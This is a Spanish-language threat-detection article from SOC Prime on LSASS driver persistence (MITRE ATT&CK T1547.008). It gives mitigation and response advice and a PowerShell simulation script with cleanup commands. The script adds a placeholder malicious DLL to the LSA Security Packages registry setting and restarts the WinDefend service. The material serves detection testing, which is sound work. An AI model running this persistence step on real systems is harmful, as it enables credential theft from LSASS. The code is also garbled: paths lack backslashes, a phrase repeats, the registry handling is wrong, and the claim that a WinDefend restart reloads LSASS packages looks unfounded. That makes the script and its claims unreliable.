SOC Prime Bias: Crítico

30 Mar 2026 16:15

Explicación del Controlador LSASS T1547.008 en MITRE ATT&CK

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Explicación del Controlador LSASS T1547.008 en MITRE ATT&CK
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El artículo explica la sub-técnica de persistencia del controlador LSASS, T1547.008, que los actores de amenazas utilizan para obtener una ejecución duradera y de alto privilegio en sistemas Windows abusando de cómo LSASS carga componentes relacionados con la seguridad.

Investigación

Los atacantes generalmente comienzan obteniendo privilegios de SISTEMA, luego colocan una DLL o controlador malicioso en el host objetivo y alteran claves del registro dentro de la configuración de LSA para que LSASS cargue el componente con puerta trasera durante el arranque. En algunos casos, se puede extender el mismo enfoque para abusar de los puntos de extensión del servicio del controlador de dominio.

Mitigación

Los defensores deben vigilar los cambios de registro que afecten las claves de LSA, exigir firma de código estricta para controladores y DLLs, restringir los permisos de escritura en las rutas de registro relevantes y aplicar monitoreo de integridad a los componentes cargados por el proceso LSASS.

Respuesta

Si se detectan cambios de registro sospechosos o cargas inesperadas de controladores en lsass.exe , aísle el host, capture la memoria LSASS para un análisis centrado en credenciales y restaure los valores de registro modificados a un estado conocido como bueno mientras investiga el proceso padre responsable.

Flujo de Ataque

Todavía estamos actualizando esta parte. Regístrese para recibir notificaciones

Notifícame

Ejecución de Simulación

Requisito previo: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:

    1. Preparación – dejar caer DLL maliciosa – El adversario crea una DLL (maliciousLSASS.dll) que, cuando es cargada por LSASS, extrae hashes de credenciales y los escribe en %TEMP%. La DLL está puesta en el puesto de trabajo de la víctima.
    2. Persistencia mediante Modificación de Registro – Usando reg.exe, el atacante añade la ruta completa de la DLL maliciosa a la multi‑cadena de valor de Security Packages, que LSASS lee durante el inicio del servicio. multi‑cadena que LSASS lee durante el inicio del servicio.
    3. Disparador – El atacante obliga a LSASS a recargar los paquetes reiniciando el LSASS servicio (requiere un reinicio del sistema; para la prueba simulamos deteniendo y comenzando el WinDefend servicio lo que obliga a LSASS a recargar la lista de paquetes de seguridad).
  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Simula la persistencia del controlador LSASS (T1547.008)
    # -------------------------------------------------
    $rutaDll = "$env:USERPROFILEEscritoriomaliciousLSASS.dll"
    # Asegurar que un archivo DLL de prueba exista (marcador vacío para prueba)
    if (-not (Test-Path $rutaDll)) {
        New-Item -Path $rutaDll -ItemType File -Force | Out-Null
    }
    
    # Respaldar valor original
    $rutaReg = 'HKLM:SYSTEMCurrentControlSetControlLsaSecurity Packages'
    $original = (Get-ItemProperty -Path $rutaReg -Name '(Default)' -ErrorAction SilentlyContinue).'(Default)'
    
    # Añadir ruta DLL maliciosa
    $nuevoValor = @()
    if ($original) { $nuevoValor = $original -split "`0" }
    $nuevoValor += $rutaDll
    Set-ItemProperty -Path $rutaReg -Name '(Default)' -Value $nuevoValor -Force
    
    Write-Host "[+] Modificado valor de registro de Security Packages para incluir DLL maliciosa."
    
    # Opcional: Forzar a LSASS a recargar paquetes sin reinicio (reiniciar servicio dependiente)
    Restart-Service -Name WinDefend -Force -ErrorAction SilentlyContinue
    Write-Host "[+] Reinicio de servicio solicitado para provocar recarga de LSASS."
    
    # Pausar para permitir que se recojan los registros
    Start-Sleep -Seconds 10
    
    # Restaurar valor original (paso de limpieza ejecutado por separado)
  • Comandos de Limpieza:

    # -------------------------------------------------
    # Limpieza después de la simulación
    # -------------------------------------------------
    $rutaReg = 'HKLM:SYSTEMCurrentControlSetControlLsaSecurity Packages'
    # Restaurar el valor de multi-cadena original capturado anteriormente (si lo hubiera)
    if ($original) {
        Set-ItemProperty -Path $rutaReg -Name '(Default)' -Value $original -Force
    } else {
        # Eliminar completamente el valor si estaba originalmente vacío
        Remove-ItemProperty -Path $rutaReg -Name '(Default)' -Force -ErrorAction SilentlyContinue
    }
    Write-Host "[+] Valor de registro original de Security Packages restaurado."
    
    # Eliminar la DLL temporal
    Remove-Item -Path "$env:USERPROFILEEscritoriomaliciousLSASS.dll" -Force -ErrorAction SilentlyContinue
    Write-Host "[+] DLL temporal maliciosa eliminada."
    
    # Opcional: Reiniciar el host para restablecer completamente el estado de LSASS (no requerido para la prueba)
    # Restart-Computer -Force